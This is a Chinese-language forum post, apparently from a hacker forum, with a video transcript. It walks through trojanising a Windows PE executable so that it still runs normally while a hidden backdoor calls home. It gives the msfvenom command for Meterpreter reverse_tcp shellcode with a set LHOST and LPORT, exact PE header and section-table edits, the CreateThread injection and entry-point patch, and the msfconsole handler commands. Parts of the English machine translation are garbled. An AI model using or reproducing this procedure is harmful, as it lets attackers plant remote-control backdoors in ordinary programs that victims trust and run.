• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Recommended Posts

实验效果

后门程序和目标程序捆绑在一起,实现目标程序运行时连接攻击机回来的目的。

shellcode的生成

MSF venom-p windows/meter preter/reverse _ TCP LHOST=192 . 168 . 45 . 128 LPORT=4314-f hex

shellcode由命令MSF Venom-P Windows/Meter Preter/Reverse _ TCP LHost=192 . 168 . 45 . 128 LPORT=4314生成,生成的shellcode由参数-f hex以十六进制形式输出。

写入

一、加新增节内容

命令执行后,它变成十六进制外壳代码。

image-20220430222959475

复制这个外壳代码,并准备将其插入到helloworldwin32.exe的一个新部分。

有效负载大小为354字节,因此新添加的部分的大小需要大于安装外壳代码之前所需的空间。在文件中,段的对齐粒度是0x200,十进制是512。

应该在原始PE文件的后面添加至少512个字节,以适应生成的外壳代码。

选择插入位置的起点,右键-编辑-剪贴板数据-写入。

image-20220430225153383

选择确定。

image-20220430225259787

选择剪贴板格式为ASCLL HEX。

image-20220430225259797

二、改PE头(一)

1.修改节区数目

2.修改程序占用内存大小

在PE表头,下图的绿框是节数。因为我们增加了一节,所以需要把原来的3节改成4节。

由于我们增加了0x1000节省空间,相应的内存大小也应该增加0x1000,如图所示。蓝色部分原来的尺寸是00004000,这里可以改成00005000。

image-20220430231021606

PE头占用的原始内存。文本部分。rdata部分。数据段是0x4000。添加一个节(。hack),占用的内存变成0x5000。

image-20220430231553560

三、改PE头(二)

1.确定新增节名称

2.确定新增节区所占内存大小(红色一)

3.确定新增节区起始RVA(橘色)

4.确定新增节区在文件中大小(红色二)

5.确定新增节区在文件中的偏移

6.确定新增节区属性

7.更改函数入口地址,以创建线程的方式使得两个功能都能正常运行

1.前8个字节是部分名称。

2.接下来的4个字节是文件中该部分的大小(红色部分),这里设置为0X200。

3.橙色是该部分的RVA。上一段的起点是0x3000,内存段的对齐粒度是0x1000,那么下一段的起始RVA应该是0x4000。

4.接下来4字节为在文件中对齐后的尺寸(红色二),此处设为0X200

5.绿色色为文件偏移,上一节起始为0x800,在文件中对齐后尺寸为0x200,所以下一节起始RVA应该为0xA00

6.最后的4字节为节区属性,设为200000E0可读可写可执行

image-20220430232528112

.hack 虚拟偏移(橘色):上一节偏移+ 节大小(.hack) => 0x3000 + 0x1000 = 0x4000
.hack 实际偏移(绿色):上一节在文件中偏移 + 节实际大小(.hack) => 0x800 + 0x200 = 0xA00

7.创建子线程,更改函数入口地址

CreateThread()创建线程的方法比较容易理解和使用 微软官网CreateThread()函数简介 、百度百科CreateThread()函数简介

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

需要传入6个参数,lpStartAddress表示新线程的起始地址,在本次实验中仅需向lpStartAddress传入ShellCode首地址即可,其他参数均为0

image-20220501153155108-16513903174051

OllyDbg打开,在函数新增节末尾注入创建线程的函数(call CreateThread)及跳转回原来入口地址的操作(jmp 401000),保存修改到新文件helloworldwin32mod.exe

image-20220501153722504

winhex修改函数入口地址为第一条push 0命令的地址0x40417A

image-20220501154117357

成功调用

运行原程序,原程序功能正常

启动kali回连

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.45.128
set lport 4314
run

大家好,这个视频主要展示的内容是一个后门注入PE文件如何实现的这么一个过程,首先来看一下实验效果哈,原程序就是我们之前用到的这个hellowin32这个PE文件,注入后这个pe文件的原程序这个弹窗功能不变,同时还会启动后门回连到kali上。

首先需要在kali上启动监听,然后使用这个exploit渗透攻击模块,设置攻击载荷,这里我的虚拟机启用的是桥接模式,IP地址为192.168.45.128,然后我们把这一段整个复制一下,在命令窗口粘贴执行。然后这里运行一下这个捆绑了后门的PE文件,就能看到他在原功能正常运行的情况下回连到了虚拟机,在虚拟机列出一下当前目录下的所有文件,能看到结果都是对的嗷,接下来看一看是怎样将这样一个后门注入到pe文件中的!

通过这样一个命令实现shellcode的生成,通过参数-f hex将生成的shellcode以十六进制的形式输出,然后我们到命令行中执行一下这条命令,就能生成一段十六进制的shellcode

能看到这条shellcode是354个字节的,然后复制一下这条shellcode,粘贴到主机的一个新建的文档之中保存一下,这里我安装了vmtools所以能实现主机和虚拟机的粘贴板互通,

然后我们用winhex打开原程序hellowin32,在文件尾端新增一个节,刚刚shellcode的大小是354字节,那么新增节的大小需要大于所需的空间,才能将shellcode装下,在文件中,节的对齐粒度是十六进制的200,十进制就是512,所以最少要在原PE文件的后面增加512字节,才能放得下生成的shellcode。

接下来把之前生成的shellcode来填充这些0字节,打开之前的那个有shellcode的文档,复制这些shellcode,填充这些新增的0字节,选择插入位置的起始点,右键->编辑->剪切板数据->写入,这里点确定,然后选择剪切板数据格式为16进制数据,然后再点确定,就可以看到数据就已经插入成功了。

接下来我们要改pe头,在PE头中,这里是节区数目,因为我们增加了一个节,所以需要把原来的3改成4

由于我们新增了十六进制为1000的节区空间,那么相应所占内存大小也要加0x1000 偏移量1零零这个位置表示程序所占内存,把4000改为5000就行。

下面要修改的位置是节表,这里前8字节为节名称,这里起一个名叫hack,接下来4字节为在文件中的节区尺寸,这里设为0X200。

下面4字节是节区RVA,上一节起始为0x3000,内存节对齐粒度为0x1000,所以下一节起始RVA应该为0x4000。接下来4字节为在文件中对齐后的尺寸,设为0X200

下面是确定文件偏移,上一节起始为0x800,在文件中对齐后尺寸为0x200,所以下一节起始地址应该是0xA00,最后的4字节为节区属性,设为200000E0可读可写可执行,保存一下文件

接下来是通过创建一个子线程,实现原功能能够正常运行的情况下,还能够回连后门的效果,OllyDbg打开,跳转到新增节位置404000,在函数新增节末尾注入创建线程的函数(call CreateThread),这个函数需要传入6个参数,lpStartAddress表示新线程的起始地址,在本次实验中仅需向第四个参数的位置传入ShellCode首地址即可,其他参数均为0创建子进程完后,还要有一个跳转回原来入口地址的操作(jmp 401000),保存修改到新文件hellowin32下划线mod.exe

winhex打开这个带有下划线mod的pe文件,然后修改函数入口地址为第一条push 0命令的地址,刚刚第一条push 0命令的地址是0x40417A,这里修改一下。保存

测试一下修改的效果,这里我虚拟机已经按照之前讲过的方式设置了监听,然后我们运行一下带有下划线mod的这个文件,可以看到后门回连成功了,我的展示就到这里,谢谢大家。

Link to comment
Share on other sites